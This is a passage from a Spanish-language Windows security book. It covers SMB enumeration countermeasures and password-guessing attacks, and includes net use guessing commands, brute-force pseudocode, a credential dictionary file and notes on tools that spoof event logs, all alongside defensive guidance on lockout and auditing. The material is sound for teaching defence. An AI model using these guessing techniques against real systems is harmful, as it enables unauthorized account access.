Estas identidades especiales incluyen sesiones autentificadas con cualquiera, incluidas sesiones
nulas (consulte el capítulo 2). Al eliminar los grupos Todos y ANONYMOUS LOGON de Acce-
so compatible con versiones anteriores de Windows 2000 (y luego reiniciar los controladores
de dominio), el dominio opera con la mayor seguridad. Si por alguna razón necesita de nuevo
reducir hacia abajo la seguridad, estos grupos pueden volverse a agregar al ejecutar el siguiente
comando en el indicador de comandos:
net localgroup “Acceso compatible con versiones anteriores de Windows
2000” Todos /add
net localgroup “Acceso compatible con versiones anteriores de Windows
2000” “ANONYMOUS LOGON” /add
El control de acceso dictado por la membresía en el grupo Acceso compatible con versiones
anteriores de Windows 2000 también se aplica a consultas que se ejecutan a través de sesio-
nes nulas de NetBIOS contra un controlador de dominio. Para ilustrar este punto, considere los
dos usos de la herramienta enum (descrita antes) en el siguiente ejemplo. La primera vez se eje-
cuta contra un Servidor avanzado de Windows 2000 con Todos y ANONYMOUS LOGON como
un miembro del grupo Acceso compatible con versiones anteriores de Windows 2000:
C:\>enum -U caesars
server: caesars
setting up session... success.
getting user list (pass 1, index 0)... success, got 8.
Administrator backadmin Guest guest2 IUSR_CAESARS IWAM_CAESARS
krbtgt SUPPORT_388945a0
cleaning up... success.
Ahora eliminamos Todos y ANONYMOUS LOGON del grupo Acceso compatible con ver-
siones anteriores de Windows 2000, reinicie y ejecute de nuevo la misma consulta enum:
C:\>enum -U caesars
server: caesars
setting up session... success.
Figura 4-10 Winfingerprint enumera un controlador de dominio de Windows Server 2008 Enterprise
RESUMEN
Con el uso de la información presentada en este capítulo, ahora un atacante puede activar la pe-
netración de sistemas de Windows, como analizamos a continuación en el capítulo 5. He aquí un
breve resumen de las contramedidas presentadas en este capítulo que restringirán el acceso a
esta información por parte de hackers maliciosos.
• Restrinja el acceso a la red a todos los servicios analizados en este capítulo empleando
firewalls de red y de host (como el Firewall de Windows). Deshabilite estos servicios si
no se están usando. Si los habilita, configúrelos con el fin de evitar el descubrimiento
de información confidencial del sistema para partes no autorizadas, de acuerdo con el
siguiente consejo.
• Proteja el servicio SMB (TCP/UDP 139 y 445). Deshabilítelo, si es posible, al dejar
de permitir Compartir impresoras y archivos para redes Microsoft, como se analizó
en este capítulo. Si habilita SMB, use la Directiva de seguridad para evitar acceso
anónimo. La configuración predeterminada de Windows es suficiente, pero esté
consciente de que los parámetros del controlador de dominio predeterminado están
relajados y permiten la enumeración de cuentas. Puede eliminar estas configuraciones
para todos los equipos del dominio empleando la Directiva de grupo.
• Debe bloquearse el acceso al servicio de nombres de NetBIOS (NBNS, UDP 137) en la
gateway de la red (reconozca que el bloqueo de UDP 137 interferirá con los servicios
de asignación de nombres de Windows).
• Deshabilite los servicios Alerta y Messenger en hosts conscientes de NetBIOS. Esto
evita que la información de cuenta de usuario aparezca en volcados de tabla de
nombres de NetBIOS. Esta configuración puede propagarse a través de un dominio
empleando la Directiva de grupo. Estos servicios están deshabilitados como opción
predeterminada en Windows Server 2003 y posteriores.
• Configure servidores de Windows DNS para restringir transferencias de zona a
hosts explícitamente definidos, o deshabilítelas por completo. Las transferencias de
zona están deshabilitadas como opción predeterminada en Windows Server 2003 y
posteriores.
• Si habilita el Servicio SNMP opcional, restrinja el acceso a las máquinas de consola
de administración SNMP y especifique cadenas de comandos no predeterminadas,
difíciles de adivinar. El Servicio SNMP de Windows Server 2003 restringe el acceso al
host local y especifica cadenas de comunidad no válidas como opción predeterminada.
SNMP ya no se implementó en Vista o posteriores.
• Restrinja lo más posible el acceso a los servicios específicos de AD, TCP/UDP 389
y 3268. Use firewalls de red, el Firewall de Windows, filtros IPSec o cualquier otro
mecanismo disponible.
• Elimine la identidad Todos del grupo Acceso compatible con versiones anteriores de
Windows 2000 en los controladores de dominio de Windows, si es aplicable. Se trata de
un modo de compatibilidad hacia atrás para permitir que los servicios RAS y
SQL de NT accedan a objetos de usuario en el directorio. Si no necesita esta
compatibilidad heredada, deshabilítela. Planee su migración a Active Directory para
que los servidores RAS y SQL se actualicen primero, y no necesitará ejecutar el modo
de compatibilidad con versiones anteriores.
Herramientas freeware
nbtscan por Alla Bezroutchko winhackingexposed/tools.html
epdump www.security-solutions.net/download/
index.html
rpcdump, parte de las herramientas RPCTools www.bindview.com/services/razor/
por Todd Sabin utilities/
Winfo por Arne Vidstrom www.ntsecurity.nu
nbtdump por David Litchfield winhackingexposed/tools.html
DumpSec por SomarSoft www.somarsoft.com
enum http://razor.bindview.com
nete winhackingexposed.com/tools.html
sid2user/user2sid por Evgenii Rudnyi evgenii.rudnyi.ru/soft/sid/
UserInfo y UserDump de Thor winhackingexposed.com/tools.html
GetAcct por Urity www.securityfriday.com
Referencias Ubicación
walksam, parte de las RCPTools de Tood Sabin razor.bindview.com
Winfingerprint http://winfingerprint.sourceforge.net
Herramientas comerciales
SolarWinds, Professional Plus Edition Toolset www.solarwinds.net
Referencias generales
“CIFS: Common Insecurities Fail Scrutiny”, web.textfiles/hacking/cifs.txt
por Hobbit, la referencia técnica original del
hacker de SMB
RFC 1001 y 1002, que describen NetBIOS a www.rfc-editor.org
través de especificaciones de transporte TCP/
UDP
RFC para SNMP www.rfc-editor.org
capítulo 5
C K E O
HA S
R V I C I O
DE S E
Í F I C O S
E S P E C
D O W S
DE W I N
115
H
asta ahora en nuestros ataques en Windows, hemos identificado destinos, ejecutado
servicios y nos hemos conectado a ciertos servicios para enumerar datos del sistema. El
siguiente paso consiste en tratar de irrumpir usando varios métodos.
Como se analizó en el capítulo 2, el objetivo principal de la penetración remota del sistema
consiste en autentificarse en el host remoto para obtener acceso a recursos en él. Podemos hacer
esto, por ejemplo, de las siguientes maneras:
En este capítulo se analizarán los tres primeros puntos de la lista, los ataques físicos se trata-
rán en el capítulo 11.
• Adivinación de contraseñas
• Espionaje sobre autentificación
• Subversión de la autentificación mediante ataques de servidor falso o de intermediario
(MITM, Man In The Middle)
• Ataque a vulnerabilidades en servicios de Windows
ADIVINACIÓN DE CONTRASEÑAS
Aunque suena muy poco glamoroso, la adivinación de contraseñas es probablemente uno de los
métodos más efectivos para ganar acceso a redes de Windows y *nix más grandes. En esta sec-
ción se analiza este método poco elegante pero muy efectivo a la penetración de sistemas de
Windows.
La adivinación de contraseñas puede realizarse contra todos los servicios que soportan au-
tentificación integrada de Windows, incluidos (pero no limitados a) servicios como Internet In-
formation Services (IIS), llamada a procedimiento remoto (RPC, Remote Procedure Call) y
servidores FTP. En este capítulo, nos concentraremos en adivinación de contraseñas sobre el pro-
tocolo bloque de mensajes de servidor (SMB, Server Message Block), pero sólo puede realizarse
contra cualquier servicio para el que tenemos un cliente que permite proporcionar un nombre
de usuario y una contraseña. Por encima de eso, cuando se gana acceso con algunas credenciales
mediante algún protocolo, por lo general vale la pena tratar las mismas credenciales mediante
otros servicios, porque la gente tiende a reciclar sus contraseñas. Esto se debe principalmente a
requisitos tediosos para la solidez de la contraseña y a la dificultad de tener que recordar contra-
señas complejas. Por ejemplo, si un extraño se las arregla para irrumpir en un servicio FTP con
algunas credenciales de usuario, podría usar las mismas credenciales para irrumpir en otro ser-
vicio, como autentificación de Windows.
Como es natural, la adivinación de contraseñas depende de la complejidad de la contraseña;
si el usuario está usando frases de pase, la dificultad para adivinar la contraseña crece de mane-
ra lineal. Por fortuna para los atacantes, y debido a las demandas complejas usuales para las
contraseñas, los usuarios tienden a reciclar contraseñas en diferentes sistemas.
Antes de que analicemos las diversas herramientas y técnicas usadas para adivinación de
contraseñas, revisemos algunos puntos sobresalientes:
C:\>net use * /d /y
Tiene estas conexiones remotas:
\\victima.com\ipc$
Si continúa, se cancelarán las conexiones.
Y, por supuesto, si tiene sesiones abiertas en varias máquinas, puede cerrar conexiones específi-
cas al anotarlas de manera específica en la solicitud. Aquí cerramos una sesión con el equipo \\
victima:
El comando net soporta varios proveedores de red (por ejemplo, Novell NetWare y otros). Cuando se
Nota
hace referencia al comando net en este libro, nos referimos a las conexiones SMB y Windows. Las
direcciones IP también se consideran un espacio de nombres aparte.
Comparación entre cuentas locales y de dominio Para cada cuenta enumerada, es una buena prác-
tica revisar cuáles son las cuentas de dominio y cuáles sólo son para uso local. La membresía
también puede verse en las membresías de grupo. Las cuentas de dominio pueden proporcionar
puntos de avanzada de un sistema a otro (la obtención de acceso al sistema de un equipo puede
proporcionar acceso sólo a ese equipo, pero el uso de esa cuenta para el proceso de dispersión
con usuarios con inicio de sesión en el dominio permite a un intruso tomar control de todo el
dominio o bosque, dependiendo de la cuenta).
Cuentas de usuario con información jugosa en el campo Comentarios En la realidad, hemos visto con-
traseñas escritas en el campo Comentarios en texto simple, listas para obtenerse mediante la enu-
meración. En ocasiones pueden encontrarse pistas para las contraseñas en el campo Comentarios
para ayudar a los desafortunados usuarios que no pueden recordar sus propias contraseñas.
Grupos Administradores o Administradores de dominio Estas cuentas a menudo son los objetivos
debido a que tienen gran capacidad sobre sistemas locales de dominios. Además, las cuentas
Administradores locales no puede bloquearse usando las herramientas predeterminadas de
Microsoft, y se vuelven blancos maduros para la adivinación perpetua de contraseñas. Es nece-
sario cambiar el nombre de la cuenta, o deshabilitarla en versiones posteriores de Microsoft
Windows.
Las cuentas de administradores locales también podrían usar la misma contraseña para va-
rios sistemas, sobre todo si éstos se han instalado a partir de una imagen dorada (que sería la
misma para todos). Esto da la ventaja al atacante que puede usar la misma cuenta local para
comprometer todas las cuentas de la red.
Cuentas compartidas de grupo Las organizaciones grandes y pequeñas tienen propensión a reci-
clar credenciales de cuenta que otorgan acceso a un alto porcentaje de los sistemas en un entorno
determinado. Nombres de cuenta como backup o admin son ejemplos.
Las cuentas de usuario no han cambiado contraseñas recientemente Esto suele ser una señal de prác-
ticas poco efectivas de mantenimiento de cuentas por parte del usuario y el administrador del
sistema, lo que indica una marca a la que es fácil acceder. Estas cuentas también pueden usar
contraseñas predeterminadas especificadas en el momento de la creación de cuentas y que se
adivinan con facilidad. Por ejemplo, está muy extendido el uso del nombre de la organización,
el nombre del usuario o bienvenido para este valor inicial de la contraseña.
Las cuentas de usuario no han iniciado sesión recientemente Una vez más, las cuentas que se usan
con poca frecuencia son señales de prácticas negligentes, como vigilancia escasa de la solidez
de contraseñas vigilada con poca frecuencia, o falta de aplicación en las tareas de administra-
ción de cuentas.
Recuerde que las directivas de enumeración de contraseñas están deshabilitadas como opción
Nota
predeterminada en versiones más recientes de Windows, a menos que el sistema sea un controlador de
dominio.
Si, por alguna razón, no puede encontrarse directamente la directiva de adivinación de con-
traseñas, otro método inteligente consiste en intentar primero la adivinación de contraseña
contra la cuenta Invitado. Como se indicó en el capítulo 2, Invitado está deshabilitada como op-
ción predeterminada en Windows, pero si alcanza el umbral de bloqueo, de todos modos se le
notificará. A continuación se presenta un ejemplo de lo que sucede cuando se bloquea la cuenta
Invitado. Fallará la primera adivinación de contraseña contra el recurso compartido IPC$ elegi-
do arbitrariamente en el servidor de destino, llevando el número de intentos sobre el umbral de
bloqueo especificado por la directiva de seguridad para este equipo:
C:\>net use \\mgmgrand\ipc$ * /u:invitado
Escriba la contraseña para \\mgmgrand\ipc$:
Error de sistema 1326.
Una vez que se ha excedido el umbral de bloqueo, el siguiente intento de adivinación nos
indica que Invitado está bloqueado, aunque la cuenta esté deshabilitada:
C:\>net use \\mgmgrand\ipc$ * /u:invitado
Escriba la contraseña para \\mgmgrand\ipc$:
Error de sistema 1909.
Además observe que cuando se adivinan contraseñas contra Invitado (o cualquier otra cuenta),
recibirá un mensaje de error diferente si en verdad adivina una contraseña correcta para una
cuenta deshabilitada:
C:\>net use \\mgmgrand\ipc$ * /u:invitado
Escriba la contraseña para \\mgmgrand\ipc$:
Error de sistema 1331.
Lo sorprendente es que la cuenta Invitado tiene una contraseña en blanco como opción pre-
determinada en Windows. Por tanto, si trata continuamente una contraseña NULL para la cuen-
ta Invitado, nunca llegará al umbral de bloqueo (a menos que se haya cambiado la contraseña).
Si está habilitada la falla de sucesos de inicio de sesión de cuenta, aparecerá un mensaje de
“cuenta desactivada”, aunque adivine la contraseña correcta para una cuenta deshabilitada.
Una vez que un rastreador de puertos ha identificado los servicios de autentificación y que se
han enumerado los recursos compartidos, es difícil resistirse a realizar una adivinación de con-
traseñas (o 10) utilizando el comando de línea de comandos net use. Es tan fácil como esto:
Observe que ha usado el nombre de usuario plenamente calificado en este ejemplo, victima\
nombreusuario, que identifica de manera explícita la cuenta que estamos atacando. Aunque esto
no siempre es necesario, puede evitar resultados erráticos en ciertas situaciones, como cuan-
do los menús desplegables net use se lanzan desde una shell de comando que se ejecuta como
LocalSystem.
La efectividad del ataque manual de adivinación de contraseñas es cercano a 100% o nil, de-
pendiendo de cuánta información haya reunido el atacante acerca del sistema y si éste se ha con-
figurado con una de las combinaciones de nombre de usuario/contraseña de alta probabilidad
de la lista de la tabla 5-1.
En la tabla 5-1, observará que hemos usado minúsculas para todas las contraseñas: debido a
que las contraseñas de los sistemas modernos de Windows son sensibles a mayúsculas y mi-
núsculas, las variaciones de mayúsculas en las contraseñas anteriores también pueden resultar
efectivas (en contraste, los nombres de usuario no son sensibles). Está de más decir que estas
combinaciones no deben aparecer en ningún lado de la infraestructura, o probablemente se con-
vertirá pronto en víctima de alguien.
Ataques de diccionario
Popularidad: 8
Simplicidad: 9
Impacto: 7
Clasificación de riesgo: 8
Como el legendario John Henry lo imaginó en su épica batalla con la tecnología (representa-
da por la máquina de conducir de acero), las facultades humanas se ven rápidamente sobrepa-
sadas por el ataque inimaginable e insensible de los procesos mecánicos automatizados. Algunos
toman la forma de la adivinación de contraseñas: un equipo de cómputo es mucho más adecua-
do para este tipo de tareas repetitivas y aporta una eficiencia tan masiva al proceso que rápida-
mente sobrepasa los hábitos humanos de selección de contraseñas. Existen varios métodos para
la adivinación automatizada de contraseñas contra SMB, y los analizaremos aquí en secuencia.
Por ejemplo, es muy fácil implementar un operador que use la fuerza bruta para iniciar se-
sión mediante la función WNetAddConnection2 de Win32. Esta API está bien documentada en
MSDN (consulte “Referencias y lecturas adicionales”). A continuación se presenta cierto pseu-
docódigo que muestra uno de estos operadores de fuerza bruta que podría construir utilizando
WNetAddConnection2.
OpenFile("contraseña.txt")
ReadNextPassword(LineFromFile)
If(EOF) then exit
WNetAddConnection2(recurso, LineFromFile, "Administrador",0)
if(Status == STATUS_SUCCESS) print “la contraseña es: LineFromFile”
else goto 20
exit
Puede utilizarse un método similar para cualquier otra llamada a API, ya sea de Microsoft o de
terceros, que proporcionen bibliotecas para construir clientes para el producto que venden.
La velocidad con que se realice el llamado “descubrimiento de inicio de sesión” (es decir, el
intento de encontrar pares de nombre de usuario y contraseña válidos al usar mecanismos de
inicio de sesión nativos para establecer la sesión), depende de la versión de Windows. Para Win-
dows 2000, Microsoft reescribió el redirector de SMB, lo que habilitó las redes de alta velocidad
pero también benefició a los atacantes al ofrecer descubrimiento o irrupción de más alta veloci-
dad (aunque se use W2K como proxy para NT4). Éste es un buen ejemplo de mejoras bien inten-
cionadas en el desempeño que tiene repercusiones negativas cuando se usa para fines
maliciosos.
En primer lugar, cree un archivo de texto con pares nombre de usuario/contraseña delimi-
tado por espacios o tabuladores. Este archivo podría parecerse al del siguiente ejemplo, que lla-
maremos credenciales.txt:
[file: credenciales.txt]
administrador ""
administrador contraseña
administrador administrador
...
Este archivo servirá como diccionario del que el bucle FOR principal obtendrá nombres de
usuario y contraseñas mientras itera por cada línea del archivo. El término ataque de diccionario
describe el uso genérico de valores precalculados para adivinar contraseñas o claves criptográ-
ficas, en oposición a un ataque de fuerza bruta, que genera valores aleatorios en lugar de extraerlos
de una tabla o un archivo precalculado.
Entonces, de un directorio que puede ingresar credenciales.txt, ejecute los comandos si-
guientes, que se han dividido en líneas separadas usando el carácter ^ especial para evitar tener
que escribir la cadena completa de comandos a la vez.
(Asegúrese de incluir un espacio adicional antes de las líneas 3, 4 y 5, pero no de la línea 2.)
Recorramos cada línea de este conjunto de comandos para ver lo que hace:
• Línea 1 Abre credenciales.txt, analiza cada línea y las divide en tokens delimitadas
por un espacio o tabulador, y luego pasa la primera y segunda token o ficha al cuerpo
del bucle FOR como variables %i y %j para cada iteración (nombre de usuario y
contraseña, respectivamente).
• Línea 2 Recorre en bucle un comando net use, insertando las tokens %i y %j en
lugar del nombre de usuario y la contraseña, respectivamente.
• Línea 3 Redirige stderr a nul para que las fallas de inicio de sesión no se impriman
en la pantalla (para redirigir stdout, use 1>\>).
• Línea 4 Adjunta la hora y fecha actuales al archivo archivosalida.txt.
• Línea 5 Adjunta el nombre del servidor y las tokens de nombre de usuario y
contraseña adivinadas con éxito a archivosalida.txt.
Después de que se ejecuten estos comandos, si se ha adivinado con éxito un par nombre de
usuario y contraseña de credenciales.txt, archivosalida.txt existirá y tendrá un aspecto similar a
éste:
C:\>type archivosalida.txt
11:53:43.42 Mie 19/05/2001
\\victima.com acct: administrador pass: ""
El sistema del atacante también tendrá una sesión abierta con el servidor de la víctima:
C:\>net use
No se registrarán las nuevas conexiones.
Este ejemplo simple sólo es una demostración de una de las posibles maneras de realizar
adivinación de contraseñas empleando un bucle FOR. Evidentemente, este concepto podría ex-
tenderse más aún, con entrada de un rastreador de puertos (consulte el capítulo 3) para precar-
gar una lista de servidores visibles de Windows de redes adyacentes, revisión de errores, etc. No
obstante, lo importante aquí es la facilidad con que los ataques de adivinación de contraseñas
pueden automatizarse empleando sólo comandos integrados de Windows.
Una desventaja del uso de los comandos net use de línea de comandos es que cada uno crea
NOTA
una conexión que aparece como una entrada de registro separada en el host de destino. Cuando
usamos la GUI de Windows para autentificar, las adivinaciones de contraseñas se hacen dentro de
la misma sesión y sólo muestran una sola entrada de conexión en los registros.
NAT: la herramienta de auditoría de NetBIOS NAT es un ejecutable compilado gratuito que realiza
ataques de diccionario contra SMB, de destino en destino. Sin embargo, opera desde una línea
de comandos, de modo que es fácil incluir sus actividades en una secuencia de comandos. NAT
se conectará a un sistema de destino y luego tratará de adivinar contraseñas desde una matriz
predefinida y listas proporcionadas por el usuario. Una desventaja de NAT es que una vez que
adivina un conjunto apropiado de credenciales, de inmediato trata de acceder a él usando esas
credenciales. Por tanto, no se encuentran contraseñas débiles adicionales de otras cuentas. En el
siguiente ejemplo se muestra un bucle FOR simple que itera con NAT a través de la subred clase
C. La salida se ha editado para que sea breve.
SMBGrind NAT es gratuito y, por lo general, hace bien el trabajo. En el caso de las personas que
quieren adivinación de contraseñas con fortaleza comercial, la vieja aplicación CyberCorp
de Network Associates (que ya no está en existencia) incluye una utilería llamada SMBGrind
que es extremadamente rápida, debido a que puede configurar varias trituradoras que se ejecu-
tan en paralelo. En otros aspectos, no es muy diferente de NAT. A continuación se presentan al-
gunas muestras de salida de la versión de línea de comandos de SMBGrind. El –1 en la sintaxis
especifica el número de conexiones simultáneas (es decir, sesiones de trituración paralelas). Si no
se especifican –u y –p, SMBGrind va de manera predeterminada a NTuserlist.txt y NTpasslist.
txt, respectivamente.
Este ejemplo, en particular, tardó menos de un segundo en completarse y cubre siete com-
binaciones de nombres de usuario y contraseñas, de modo que puede ver lo rápido que es
SMBGrind. Tome en cuenta que es capaz de adivinar varias cuentas dentro de una sesión (aquí
encontró administrador y ejohnson), y sigue adivinando cada contraseña de la lista aunque en-
cuentre una coincidencia antes del final (como lo hizo con la cuenta Administrador). Esto puede
producir entradas de registro innecesarias, porque si se conoce una de las contraseñas, no tiene
sentido seguir adivinando para ese usuario. Sin embargo, SMBGrind también falsifica entradas
de registro de sucesos, de modo que, al parecer, todos los intentos se originan en el dominio
CYBERCOP, estación de trabajo \\CYBERCOP en el registro de seguridad del sistema remoto,
si se ha habilitado la auditoría. Uno de estos días, Microsoft actualizará los registros de sucesos
de Windows, de modo que puedan trazar las direcciones IP.
Opción –dict de enum Ya analizamos antes la herramienta enum en el capítulo 4, donde indica-
mos que tiene la capacidad de realizar ataques de diccionario a SMB. He aquí un ejemplo de
enum ejecutando uno de esos ataques contra un sistema de Windows 2000:
Trituración de WMI con Venom Como ya se mencionó brevemente en relación con el uso de auten-
tificación integrada, SMB no es el único medio que puede usar para tratar de descubrir un inicio
de sesión. Microsoft introdujo la interfaz de instrumentación de administración de Windows
(WMI, Windows Management Instrumentation) principalmente para administrar sistemas.
Como esta interfaz también da soporte a inicios de sesión, es muy útil como base para herra-
mientas de descubrimiento de inicios de sesión. Una de esas herramientas es Venom (consulte
“Referencias y recursos adicionales”). El uso de Venom contra un sistema de Vista se ilustra en
la figura 5-1.
Figura 5-1 La herramienta Venom para descubrimiento de inicios de sesión de Windows vía WMI
La opción Las contraseñas deben cumplir los requisitos de complejidad ha estado disponible en
la directiva de seguridad desde Windows 2000. Windows Vista y Windows 2008 mejoran aún
más esta opción al permitir que los requisitos sean dirigidos a grupos específicos.
NOTA El archivo passfilt.dll ya no se requiere en sistemas más recientes de Windows (todo se hace a
través de esta configuración de directiva de seguridad).
El archivo passfilt de NT 4 tenía dos limitaciones: el requisito de seis caracteres de largo es-
taba incluido en el código, y sólo filtraba requisitos del usuario para cambiar contraseñas me-
diante las herramientas de consola, pasando por alto los requisitos de passfilt. Ambos problemas
se atienden fácilmente. En primer lugar, establezca una longitud de contraseña mínima utilizan-
do la directiva de seguridad. (Recomendamos siete caracteres, de acuerdo con el análisis del ca-
pítulo 7.) En segundo lugar, el filtro de contraseñas de Windows debe aplicarse a todas las
contraseñas restablecidas, se establezcan en la consola o remotamente.
También pueden desarrollarse DLL passfilt personalizadas para que coincidan con la direc-
tiva de contraseña de cualquier organización de manera más estrecha. (Consulte la sección “Re-
ferencias y lecturas adicionales”, al final de este capítulo.) Esté consciente de que DLL passfilt
que sirvan como caballos de Troya estarían en una posición perfecta para comprometer la segu-
ridad, de modo que inspeccione cuidadosamente las DLL de terceros.
En el caso de cuentas muy confidenciales, como las verdaderas cuentas Administrador y de
servicios, también recomendamos la incorporación de caracteres ASCII que no sean de impre-
sión. Esto hace que las contraseñas sean extraordinariamente difíciles de adivinar. Esta medida
está diseñada más para frustrar los ataques de adivinación de contraseñas fuera de línea (por
ejemplo, descubrimiento o irrupción), que se analizarán con detenimiento en el capítulo 7.
A pesar de que hay diferentes filtros para asegurar la complejidad de las contraseñas, es una
buena práctica abogar por el uso de frases de contraseña, que son frases que se usan en lugar de
una simple contraseña, como el nombre lo indica, y por lo general los usuarios pueden recordar-
las mejor que las contraseñas complejas. Por ejemplo, es más fácil recordar Exposición de hackeo
de Windows 2003, n! edición y es más difícil de romper que HK1nXpdw2k3. Los vínculos con más
información sobre frases de contraseña pueden encontrarse en la sección “Referencia y lecturas
adicionales”.
selectos pueden volver a habilitar una cuenta bloqueada, casi todas las empresas observan una
relación inversa entre un umbral menor de bloques y mayores costos de soporte de escritorio y,
por tanto, eligen no imponer esa carga a sus usuarios, su personal de soporte y sus recursos fi-
nancieros. Sin embargo, consideramos que esto es un error, y aconsejamos que se tome el esfuer-
zo de encontrar el número mágico de bloqueos que su organización puede tolerar sin volver loco
al personal de soporte. Recuerde que aún umbrales aparentemente absurdos pueden evitar los
caprichos de la adivinación de contraseñas. (¡Hemos visto que incluso hay organizaciones que
implementan umbrales de 100!). También puede jugar con la duración del bloqueo de cuentas y
automatizar la duración del restablecimiento (lo que también se configura en la directiva de se-
guridad) para aliviar aquí parte de la carga.
Una vez dicho esto, los umbrales de bloqueo de cuentas crean la posibilidad de una condi-
ción de negación del servicio, sea por accidente o con intención. Un escenario común es cuando
las cuentas de servicio que se bloquean cuando vencen las contraseñas en el dominio (acciden-
tal) o cuando un empleado inconforme trata de iniciar sesión usando los nombres de cuenta de
compañeros de trabajo y contraseñas falsas conocidas intencionalmente para frustrar a los de-
más empleados. Use esta opción con cuidado y asegúrese de que su elección funciona bien en su
entorno particular.
Habilite la auditoría de sucesos de falla de inicio de sesión Sacuda de nuevo la elegante applet de
directivas de seguridad y habilite la auditoría de inicios de sesión e inicios de sesión de cuenta
(a un mínimo), como se muestra en la figura 5-4.
Ésta es una recomendación mínima, porque sólo capturará sucesos de inicio de sesión falli-
dos que pueden ser indicativos de ataques de adivinación de contraseñas. Los inicios de sesión
fallidos aparecerán con los ID de suceso 529 (suceso de inicio de sesión fallido) y 681 (suceso de
inicio de sesión de cuenta fallido) en el registro de seguridad. Los sucesos de bloqueo de cuentas
tienen el ID 539. En el capítulo 6 analizaremos la auditoría de manera más general. Recuerde que
antes de Windows Vista, el registro de sucesos sólo rastreaba el nombre del equipo de NetBIOS
del sistema ofensor, no su dirección IP, limitando su capacidad para rastrear la actividad de adi-
vinación de contraseñas.
Figura 5-4 La habilitación de la auditoría de sucesos de falla de inicio de sesión puede proporcionar
indicios de ataques de adivinación de contraseñas
NOTA Como opción predeterminada, Windows registra el éxito de los sucesos de inicio de sesión de
cuentas y de inicio de sesión.
¡Revise los registros de sucesos! Recuerde que el solo hecho de auditar los sucesos de inicio de
sesión no es una defensa suficiente contra las intrusiones: los registros deben revisarse de mane-
ra periódica, si las entradas generadas por esa configuración habrán de tener algún significado.
En un entorno grande, la revisión de los registros de manera mensual puede ser una tarea titá-
nica. Busque herramientas automatizadas de vigilancia e informe de registros para que realice
esta tarea. Recomendamos estos productos:
• Event Log Monitor (ELM) de TNT Software ELM consolida los registros de sucesos
en un depósito central en tiempo real, para proporcionar correlación de todos los
sucesos en un origen de datos. Debe instalarse un agente en cada equipo que habrá de
monitorearse.
• EventAdmin de Aelita Software, ahora Quest Software EventAdmin realiza muchas
de las mismas funciones que ELM, sin necesidad de que haya un agente en cada
equipo.
(En la sección “Referencias y lecturas adicionales”, al final de este capítulo, se encuentran víncu-
los a los sitios Web de cada una de estas empresas).
También puede obtener mayor conocimiento y, por tanto, controlar sus redes al usar siste-
mas de administración de sucesos de seguridad e información (SEM o SIEM), que proporcionan
información de diferentes orígenes de registro, como sistemas operativos, enrutadores, fire-
walls, sistemas de detección de intrusiones y sistemas de protección ante intrusiones. Para cons-
truir buenas defensas, debe saber primero lo que necesita proteger.
Deshabilite la verdadera cuenta Administrador y cree un señuelo La cuenta Administrador resulta es-
pecialmente problemática cuando se trata de ataques de adivinación de contraseñas. En primer
lugar, tiene un nombre estándar que se conoce ampliamente (los intrusos suelen asegurarse
de que por lo menos tienen el nombre de cuenta correcto cuando atacan esta cuenta). El cam-
bio de nombre ofrece cierta protección, pero no es a prueba de tontos (ya hemos mostrado en el
capítulo 4 cómo las técnicas creativas de enumeración pueden determinar el verdadero nombre
del Administrador). En segundo lugar, como opción predeterminada, la cuenta Administrador
no está sujeta a los parámetros de bloqueo de cuentas en Windows Server 2003 y versiones an-
teriores, sin importar cómo se hayan configurado estos parámetros. Esto significa que puede
hacerse un número ilimitado de adivinaciones de contraseñas contra la cuenta Administrador
sin bloqueo, si la cuenta está mal configurada.
Aun se debate cuánto valor tiene el cambio de nombre de la cuenta Administrador desde la
perspectiva de la seguridad, porque al verdadero Administrador siempre puede identificársele
por su SID, si es posible la enumeración, sin importar su nombre (consulte el capítulo 4). Sin em-
bargo, recomendamos que la cuenta integrada Administrador sólo se use cuando sea explícita-
mente necesario, como en el caso de la realización de tareas administrativas locales cuando el
dominio no está disponible. Si es posible deshabilitar o cambiar el nombre de la cuenta (que es la
opción predeterminada en las modernas versiones de Windows, incluidas XP y posteriores), lo
recomendamos. Todo lo que hace a un lado de los atacantes la información conocida es bueno.
Recomendamos que se configure una cuenta “señuelo” de Administrador exactamente como
la verdadera cuenta Administrador. Esto identificará rápidamente a los ataques torpes de adivi-
nación de contraseñas en los registros. No haga que el Administrador falso sea parte de ningún
grupo, y asegúrese de llenar el campo Descripción de la cuenta con el valor apropiado (Cuenta
integrada para la administración del equipo o dominio). En cuanto a la deshabilitación de la verdade-
ra cuenta Administrador, las versiones de Windows, a partir de XP, permiten el cambio de nom-
bre y la deshabilitación de esta cuenta utilizando la Directiva de seguridad (secpol.msc).
Cuando se trata del bloqueo de cuentas, el Administrador integrado siempre ha sido un
blanco jugoso porque no está sujeto a la directiva de bloqueo de cuentas como opción predeter-
minada. (Por ejemplo, el Administrador no se bloqueará sin importar cuantas suposiciones falli-
das de contraseña se hagan). El kit de recursos de NT 4 incluía una utilería llamada passprop
que podía usarse para configurar el bloqueo de cuentas para la cuenta Administrador (RID 500).
Passprop cambia el comportamiento predeterminado para que la cuenta Administrador pueda
bloquearse como cualquiera otra después de un número prescrito de malas suposiciones. (La
verdadera cuenta Admin siempre tendrá la opción de iniciar una sesión interactivamente).
La herramienta passprop dejó de trabajar con Windows 2000 hasta el Service Pack 2 (aunque
parecía funcionar). Versiones posteriores de Windows pueden lograr lo mismo con parámetros
disponibles como parte de la directiva de seguridad local, que pueden imponerse utilizando Di-
rectiva de grupo en escenarios de dominio. En una instalación independiente de Vista, la cuenta
Administrador integrada está deshabilitada y, como en Windows XP, requiere una modificación
del Registro para que la cuenta sea seleccionable en la pantalla de inicio de sesión.
La ejecución de passprop para establecer el bloqueo de Administrador es fácil:
C:\>passprop /adminlockout
Password must be complex
The Administrator account may be locked out except for interactive logons
on a domain controller.
Para estar completamente seguro, elimine en forma manual el privilegio Acceder a este equi-
po desde la red, de la cuenta Administrador. Esto asegura que la verdadera cuenta Admin no
tendrá acceso de manera remota al sistema. Si se ha cambiado el nombre de Admin, será doble-
mente difícil para los atacantes descubrirlo.
Sugerencia Obtenga la herramienta de passprop para Windows 2000 paquete de recursos; ésta no se incluye
en el paqute profesional.
Deshabilite las cuentas inactivas Hemos encontrado que las organizaciones en que resulta más
difícil entrar son las que usan bloqueo de cuentas, además de expiración de cuentas. Los contra-
tistas, asesores u otros trabajadores temporales que sólo están contratados por un periodo corto
deben recibir cuentas que están configuradas para expirar después de un lapso. También debe
hacer lo mismo con las cuentas usadas para actividades temporales como migraciones. Esto ase-
gura al administrador del sistema que la cuenta se deshabilitará cuando el trabajo temporal esté
completo y la cuenta ya no sea necesaria, en oposición a cuando el departamento de recursos
